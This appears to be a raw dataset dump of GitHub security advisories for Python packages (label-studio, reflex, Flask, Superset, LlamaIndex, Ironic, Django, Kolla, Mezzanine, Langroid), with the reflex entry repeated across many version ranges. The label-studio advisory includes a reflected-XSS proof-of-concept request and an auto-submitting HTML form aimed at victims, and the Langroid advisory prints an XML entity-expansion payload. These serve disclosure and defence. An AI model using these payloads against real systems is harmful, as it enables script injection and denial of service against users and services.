deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-8jhr-wpcm-hh4h
Package: label-studio (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 1.18.0
Patched in: 1.18.0

Summary: label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter.

Details:
### Summary
The vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.

### Details
The vulnerability is reproducible when sending a properly formatted request to the `POST /projects/upload-example/` endpoint. In the source code, the vulnerability is located at `label_studio/projects/views.py`.
```python
39: @require_http_methods(['POST'])
40: def upload_example_using_config(request):
41:     """Generate upload data example by config only"""
42:     config = request.POST.get('label_config', '')
43: 
44:     org_pk = get_organization_from_request(request)
45:     secure_mode = False
46:     if org_pk is not None:
47:         org = generics.get_object_or_404(Organization, pk=org_pk)
48:         secure_mode = org.secure_mode
49: 
50:     try:
51:         Project.validate_label_config(config)
52:         task_data, _, _ = get_sample_task(config, secure_mode)
53:         task_data = playground_replacements(request, task_data)
54:     except (ValueError, ValidationError, lxml.etree.Error):
55:         response = HttpResponse('error while example generating', status=status.HTTP_400_BAD_REQUEST)
56:     else:
57:         response = HttpResponse(json.dumps(task_data))
58:     return response
```
The vulnerability is specifically located in line 57, where HttpResponse is used.
```python
57:         response = HttpResponse(json.dumps(task_data))
```
### PoC
Send the following request after changing the `{host}` to your own.
```css
POST /projects/upload-example/ HTTP/1.1
Host: {host}
Content-Type: application/x-www-form-urlencoded
Content-Length: 67

label_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e
```
Or you can create a vulnerable HTML page by changing `{domain}` beforehand, which can later be sent to the victim.
```html
<html>
  <body>
    <form action="http://{domain}/projects/upload-example/" method="POST">
      <input type="hidden" name="label&#95;config" value="&lt;View&gt;&lt;Text&#32;name&#61;&quot;text&quot;&#32;value&#61;&quot;&#36;textjmwwi&amp;lt&#59;script&amp;gt&#59;alert&#40;1&#41;&amp;lt&#59;&#47;script&amp;gt&#59;s8m37&quot;&#47;&gt;&lt;&#47;View&gt;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```
### Impact
- Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing `document.cookie`, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.
GitHub Security Advisory: GHSA-rf8x-9mhr-49wg
Package: reflex (PIP)
Severity: HIGH (CVSS 8.1)
CWE: CWE-284: Improper Access Control
Vulnerable versions: > 0.7.10.post1, < 0.7.11
Patched in: 0.7.11

Summary: Reflex vulnerable to private state fields modification

Details:
### Summary

A user on the website can modify any private field on their own state.

### Details

An event meant to modify client side storage had access to modify any field on the state for the given user. This includes non-client side ones and most importantly private fields. This still requires the actor to guess the name for the private fields.

### Impact

If one of the States in your app can be modified to allow the user into a different role or a different user this allows the actor to act as someone else or as admin.
GitHub Security Advisory: GHSA-rf8x-9mhr-49wg
Package: reflex (PIP)
Severity: HIGH (CVSS 8.1)
CWE: CWE-284: Improper Access Control
Vulnerable versions: > 0.7.9.post1, < 0.7.10.post1
Patched in: 0.7.10.post1

Summary: Reflex vulnerable to private state fields modification

Details:
### Summary

A user on the website can modify any private field on their own state.

### Details

An event meant to modify client side storage had access to modify any field on the state for the given user. This includes non-client side ones and most importantly private fields. This still requires the actor to guess the name for the private fields.

### Impact

If one of the States in your app can be modified to allow the user into a different role or a different user this allows the actor to act as someone else or as admin.
GitHub Security Advisory: GHSA-rf8x-9mhr-49wg
Package: reflex (PIP)
Severity: HIGH (CVSS 8.1)
CWE: CWE-284: Improper Access Control
Vulnerable versions: > 0.7.8.post1, < 0.7.9.post1
Patched in: 0.7.9.post1

Summary: Reflex vulnerable to private state fields modification

Details:
### Summary

A user on the website can modify any private field on their own state.

### Details

An event meant to modify client side storage had access to modify any field on the state for the given user. This includes non-client side ones and most importantly private fields. This still requires the actor to guess the name for the private fields.

### Impact

If one of the States in your app can be modified to allow the user into a different role or a different user this allows the actor to act as someone else or as admin.
GitHub Security Advisory: GHSA-rf8x-9mhr-49wg
Package: reflex (PIP)
Severity: HIGH (CVSS 8.1)
CWE: CWE-284: Improper Access Control
Vulnerable versions: > 0.7.7.post1, < 0.7.8.post1
Patched in: 0.7.8.post1

Summary: Reflex vulnerable to private state fields modification

Details:
### Summary

A user on the website can modify any private field on their own state.

### Details

An event meant to modify client side storage had access to modify any field on the state for the given user. This includes non-client side ones and most importantly private fields. This still requires the actor to guess the name for the private fields.

### Impact

If one of the States in your app can be modified to allow the user into a different role or a different user this allows the actor to act as someone else or as admin.
GitHub Security Advisory: GHSA-rf8x-9mhr-49wg
Package: reflex (PIP)
Severity: HIGH (CVSS 8.1)
CWE: CWE-284: Improper Access Control
Vulnerable versions: > 0.7.6.post1, < 0.7.7.post1
Patched in: 0.7.7.post1

Summary: Reflex vulnerable to private state fields modification

Details:
### Summary

A user on the website can modify any private field on their own state.

### Details

An event meant to modify client side storage had access to modify any field on the state for the given user. This includes non-client side ones and most importantly private fields. This still requires the actor to guess the name for the private fields.

### Impact

If one of the States in your app can be modified to allow the user into a different role or a different user this allows the actor to act as someone else or as admin.
GitHub Security Advisory: GHSA-rf8x-9mhr-49wg
Package: reflex (PIP)
Severity: HIGH (CVSS 8.1)
CWE: CWE-284: Improper Access Control
Vulnerable versions: > 0.7.5.post1, < 0.7.6.post1
Patched in: 0.7.6.post1

Summary: Reflex vulnerable to private state fields modification

Details:
### Summary

A user on the website can modify any private field on their own state.

### Details

An event meant to modify client side storage had access to modify any field on the state for the given user. This includes non-client side ones and most importantly private fields. This still requires the actor to guess the name for the private fields.

### Impact

If one of the States in your app can be modified to allow the user into a different role or a different user this allows the actor to act as someone else or as admin.
GitHub Security Advisory: GHSA-rf8x-9mhr-49wg
Package: reflex (PIP)
Severity: HIGH (CVSS 8.1)
CWE: CWE-284: Improper Access Control
Vulnerable versions: > 0.7.4.post1, < 0.7.5.post1
Patched in: 0.7.5.post1

Summary: Reflex vulnerable to private state fields modification

Details:
### Summary

A user on the website can modify any private field on their own state.

### Details

An event meant to modify client side storage had access to modify any field on the state for the given user. This includes non-client side ones and most importantly private fields. This still requires the actor to guess the name for the private fields.

### Impact

If one of the States in your app can be modified to allow the user into a different role or a different user this allows the actor to act as someone else or as admin.
GitHub Security Advisory: GHSA-rf8x-9mhr-49wg
Package: reflex (PIP)
Severity: HIGH (CVSS 8.1)
CWE: CWE-284: Improper Access Control
Vulnerable versions: > 0.7.3.post1, < 0.7.4.post1
Patched in: 0.7.4.post1

Summary: Reflex vulnerable to private state fields modification

Details:
### Summary

A user on the website can modify any private field on their own state.

### Details

An event meant to modify client side storage had access to modify any field on the state for the given user. This includes non-client side ones and most importantly private fields. This still requires the actor to guess the name for the private fields.

### Impact

If one of the States in your app can be modified to allow the user into a different role or a different user this allows the actor to act as someone else or as admin.
GitHub Security Advisory: GHSA-rf8x-9mhr-49wg
Package: reflex (PIP)
Severity: HIGH (CVSS 8.1)
CWE: CWE-284: Improper Access Control
Vulnerable versions: > 0.7.2.post1, < 0.7.3.post1
Patched in: 0.7.3.post1

Summary: Reflex vulnerable to private state fields modification

Details:
### Summary

A user on the website can modify any private field on their own state.

### Details

An event meant to modify client side storage had access to modify any field on the state for the given user. This includes non-client side ones and most importantly private fields. This still requires the actor to guess the name for the private fields.

### Impact

If one of the States in your app can be modified to allow the user into a different role or a different user this allows the actor to act as someone else or as admin.
GitHub Security Advisory: GHSA-rf8x-9mhr-49wg
Package: reflex (PIP)
Severity: HIGH (CVSS 8.1)
CWE: CWE-284: Improper Access Control
Vulnerable versions: > 0.7.1.post1, < 0.7.2.post1
Patched in: 0.7.2.post1

Summary: Reflex vulnerable to private state fields modification

Details:
### Summary

A user on the website can modify any private field on their own state.

### Details

An event meant to modify client side storage had access to modify any field on the state for the given user. This includes non-client side ones and most importantly private fields. This still requires the actor to guess the name for the private fields.

### Impact

If one of the States in your app can be modified to allow the user into a different role or a different user this allows the actor to act as someone else or as admin.
GitHub Security Advisory: GHSA-rf8x-9mhr-49wg
Package: reflex (PIP)
Severity: HIGH (CVSS 8.1)
CWE: CWE-284: Improper Access Control
Vulnerable versions: > 0.6.8.post1, < 0.7.1.post1
Patched in: 0.7.1.post1

Summary: Reflex vulnerable to private state fields modification

Details:
### Summary

A user on the website can modify any private field on their own state.

### Details

An event meant to modify client side storage had access to modify any field on the state for the given user. This includes non-client side ones and most importantly private fields. This still requires the actor to guess the name for the private fields.

### Impact

If one of the States in your app can be modified to allow the user into a different role or a different user this allows the actor to act as someone else or as admin.
GitHub Security Advisory: GHSA-rf8x-9mhr-49wg
Package: reflex (PIP)
Severity: HIGH (CVSS 8.1)
CWE: CWE-284: Improper Access Control
Vulnerable versions: > 0.5.10.post1, < 0.6.8.post1
Patched in: 0.6.8.post1

Summary: Reflex vulnerable to private state fields modification

Details:
### Summary

A user on the website can modify any private field on their own state.

### Details

An event meant to modify client side storage had access to modify any field on the state for the given user. This includes non-client side ones and most importantly private fields. This still requires the actor to guess the name for the private fields.

### Impact

If one of the States in your app can be modified to allow the user into a different role or a different user this allows the actor to act as someone else or as admin.
GitHub Security Advisory: GHSA-rf8x-9mhr-49wg
Package: reflex (PIP)
Severity: HIGH (CVSS 8.1)
CWE: CWE-284: Improper Access Control
Vulnerable versions: > 0.4.9.post1, < 0.5.10.post1
Patched in: 0.5.10.post1

Summary: Reflex vulnerable to private state fields modification

Details:
### Summary

A user on the website can modify any private field on their own state.

### Details

An event meant to modify client side storage had access to modify any field on the state for the given user. This includes non-client side ones and most importantly private fields. This still requires the actor to guess the name for the private fields.

### Impact

If one of the States in your app can be modified to allow the user into a different role or a different user this allows the actor to act as someone else or as admin.
GitHub Security Advisory: GHSA-rf8x-9mhr-49wg
Package: reflex (PIP)
Severity: HIGH (CVSS 8.1)
CWE: CWE-284: Improper Access Control
Vulnerable versions: >= 0.2.7, < 0.4.9.post1
Patched in: 0.4.9.post1

Summary: Reflex vulnerable to private state fields modification

Details:
### Summary

A user on the website can modify any private field on their own state.

### Details

An event meant to modify client side storage had access to modify any field on the state for the given user. This includes non-client side ones and most importantly private fields. This still requires the actor to guess the name for the private fields.

### Impact

If one of the States in your app can be modified to allow the user into a different role or a different user this allows the actor to act as someone else or as admin.
GitHub Security Advisory: GHSA-4grg-w6v8-c28g
Package: flask (PIP)
Severity: LOW (CVSS 0.0)
CWE: CWE-683: Function Call With Incorrect Order of Arguments
Vulnerable versions: = 3.1.0
Patched in: 3.1.1

Summary: Flask uses fallback key instead of current signing key

Details:
In Flask 3.1.0, the way fallback key configuration was handled resulted in the last fallback key being used for signing, rather than the current signing key.

Signing is provided by the `itsdangerous` library. A list of keys can be passed, and it expects the last (top) key in the list to be the most recent key, and uses that for signing. Flask was incorrectly constructing that list in reverse, passing the signing key first.

Sites that have opted-in to use key rotation by setting `SECRET_KEY_FALLBACKS` are likely to unexpectedly be signing their sessions with stale keys, and their transition to fresher keys will be impeded. Sessions are still signed, so this would not cause any sort of data integrity loss.
GitHub Security Advisory: GHSA-w6c7-j32f-rq8j
Package: apache-superset (PIP)
Severity: MODERATE (CVSS 8.8)
CWE: CWE-285: Improper Authorization, CWE-863: Incorrect Authorization
Vulnerable versions: < 4.1.2
Patched in: 4.1.2

Summary: Apache Superset Allows Ownership Takeover

Details:
Improper Authorization vulnerability in Apache Superset allows ownership takeover of dashboards, charts or datasets by authenticated users with read permissions.

This issue affects Apache Superset: through 4.1.1.

Users are recommended to upgrade to version 4.1.2 or above, which fixes the issue.
GitHub Security Advisory: GHSA-7c85-87cp-mr6g
Package: llama-index (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-400: Uncontrolled Resource Consumption, CWE-674: Uncontrolled Recursion
Vulnerable versions: >= 0.12.15, < 0.12.21
Patched in: 0.12.21

Summary: LlamaIndex Vulnerable to Denial of Service (DoS)

Details:
A Denial of Service (DoS) vulnerability has been identified in the KnowledgeBaseWebReader class of the run-llama/llama_index project, affecting version ~ latest(v0.12.15). The vulnerability arises due to inappropriate secure coding measures, specifically the lack of proper implementation of the max_depth parameter in the get_article_urls function. This allows an attacker to exhaust Python's recursion limit through repeated function calls, leading to resource consumption and ultimately crashing the Python process.
GitHub Security Advisory: GHSA-q3m2-crgq-5p3q
Package: ironic (PIP)
Severity: LOW (CVSS 2.8)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: >= 27.0.0, < 29.0.1
Patched in: 29.0.1

Summary: OpenStack Ironic fails to restrict paths used for file:// image URLs

Details:
OpenStack Ironic before 29.0.1 can write unintended files to a target node disk during image handling (if a deployment was performed via the API). A malicious project assigned as a node owner can provide a path to any local file (readable by ironic-conductor), which may then be written to the target node disk. This is difficult to exploit in practice, because a node deployed in this manner should never reach the ACTIVE state, but it still represents a danger in environments running with non-default, insecure configurations such as with automated cleaning disabled. The fixed versions are 24.1.3, 26.1.1, and 29.0.1.
GitHub Security Advisory: GHSA-q3m2-crgq-5p3q
Package: ironic (PIP)
Severity: LOW (CVSS 2.8)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: >= 25.0.0, < 26.1.1
Patched in: 26.1.1

Summary: OpenStack Ironic fails to restrict paths used for file:// image URLs

Details:
OpenStack Ironic before 29.0.1 can write unintended files to a target node disk during image handling (if a deployment was performed via the API). A malicious project assigned as a node owner can provide a path to any local file (readable by ironic-conductor), which may then be written to the target node disk. This is difficult to exploit in practice, because a node deployed in this manner should never reach the ACTIVE state, but it still represents a danger in environments running with non-default, insecure configurations such as with automated cleaning disabled. The fixed versions are 24.1.3, 26.1.1, and 29.0.1.
GitHub Security Advisory: GHSA-q3m2-crgq-5p3q
Package: ironic (PIP)
Severity: LOW (CVSS 2.8)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 24.1.3
Patched in: 24.1.3

Summary: OpenStack Ironic fails to restrict paths used for file:// image URLs

Details:
OpenStack Ironic before 29.0.1 can write unintended files to a target node disk during image handling (if a deployment was performed via the API). A malicious project assigned as a node owner can provide a path to any local file (readable by ironic-conductor), which may then be written to the target node disk. This is difficult to exploit in practice, because a node deployed in this manner should never reach the ACTIVE state, but it still represents a danger in environments running with non-default, insecure configurations such as with automated cleaning disabled. The fixed versions are 24.1.3, 26.1.1, and 29.0.1.
GitHub Security Advisory: GHSA-8j24-cjrq-gr2m
Package: Django (PIP)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: >= 5.2, < 5.2.1
Patched in: 5.2.1

Summary: Django has a denial-of-service possibility in strip_tags()

Details:
An issue was discovered in Django 4.2 before 4.2.21, 5.1 before 5.1.9, and 5.2 before 5.2.1. The django.utils.html.strip_tags() function is vulnerable to a potential denial-of-service (slow performance) when processing inputs containing large sequences of incomplete HTML tags. The template filter striptags is also vulnerable, because it is built on top of strip_tags().
GitHub Security Advisory: GHSA-8j24-cjrq-gr2m
Package: Django (PIP)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: >= 5.1, < 5.1.9
Patched in: 5.1.9

Summary: Django has a denial-of-service possibility in strip_tags()

Details:
An issue was discovered in Django 4.2 before 4.2.21, 5.1 before 5.1.9, and 5.2 before 5.2.1. The django.utils.html.strip_tags() function is vulnerable to a potential denial-of-service (slow performance) when processing inputs containing large sequences of incomplete HTML tags. The template filter striptags is also vulnerable, because it is built on top of strip_tags().
GitHub Security Advisory: GHSA-8j24-cjrq-gr2m
Package: Django (PIP)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: >= 4.2, < 4.2.21
Patched in: 4.2.21

Summary: Django has a denial-of-service possibility in strip_tags()

Details:
An issue was discovered in Django 4.2 before 4.2.21, 5.1 before 5.1.9, and 5.2 before 5.2.1. The django.utils.html.strip_tags() function is vulnerable to a potential denial-of-service (slow performance) when processing inputs containing large sequences of incomplete HTML tags. The template filter striptags is also vulnerable, because it is built on top of strip_tags().
GitHub Security Advisory: GHSA-rvxr-pf5f-j2qj
Package: kolla (PIP)
Severity: HIGH (CVSS 7.8)
CWE: CWE-269: Improper Privilege Management, CWE-426: Untrusted Search Path
Vulnerable versions: < 15.0.0.0rc1
Patched in: 15.0.0.0rc1

Summary: OpenStack Kolla sudo privilege escalation vulnerability

Details:
A privilege escalation vulnerability exists in the sudo functionality of OpenStack Kolla git master 05194e7618. A misconfiguration in /etc/sudoers within a container can lead to increased privileges.
GitHub Security Advisory: GHSA-2544-hpcq-6g27
Package: Mezzanine (PIP)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 6.0.0
Patched in: unpatched

Summary: Mezzanine CMS Cross-Site Scripting (XSS) vulnerability

Details:
Cross-Site Scripting (XSS) vulnerability exists in Mezzanine CMS 6.0.0 in the "View Entries" feature within the Forms module.
GitHub Security Advisory: GHSA-pw95-88fg-3j6f
Package: langroid (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-611: Improper Restriction of XML External Entity Reference
Vulnerable versions: < 0.53.4
Patched in: 0.53.4

Summary: Langroid Allows XXE Injection via XMLToolMessage

Details:
### Summary
A LLM application leveraging `XMLToolMessage` class may be exposed to untrusted XML input that could result in DoS and/or exposing local files with sensitive information.

### Details
`XMLToolMessage` uses `lxml` without safeguards:
https://github.com/langroid/langroid/blob/df6227e6c079ec22bb[PII_REDACTED]148d6685acff/langroid/agent/xml_tool_message.py#L51-L52
`lxml` is vulnerable to quadratic blowup attacks and processes external entity declarations for local files by default. 
Check here: https://pypi.org/project/defusedxml/#python-xml-libraries

### PoC
A typical Quadratic blowup XML payload looks like this:
```xml
<!DOCTYPE bomb [
<!ENTITY a "aaaaaaaaaa">
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
]>
<bomb>&c;</bomb>
```
Here, &a; expands to 10 characters, &b; expands to 100, and &c; expands to 1000, causing exponential memory usage and potentially crashing the application.
 
### Fix
Langroid 0.53.4 initializes `XMLParser` with flags to prevent XML External Entity (XXE), billion laughs, and external DTD attacks by disabling entity resolution, DTD loading, and network access.
https://github.com/langroid/langroid/commit/36e7e7db4dd1636de225c2c66c84052b1e9ac3c3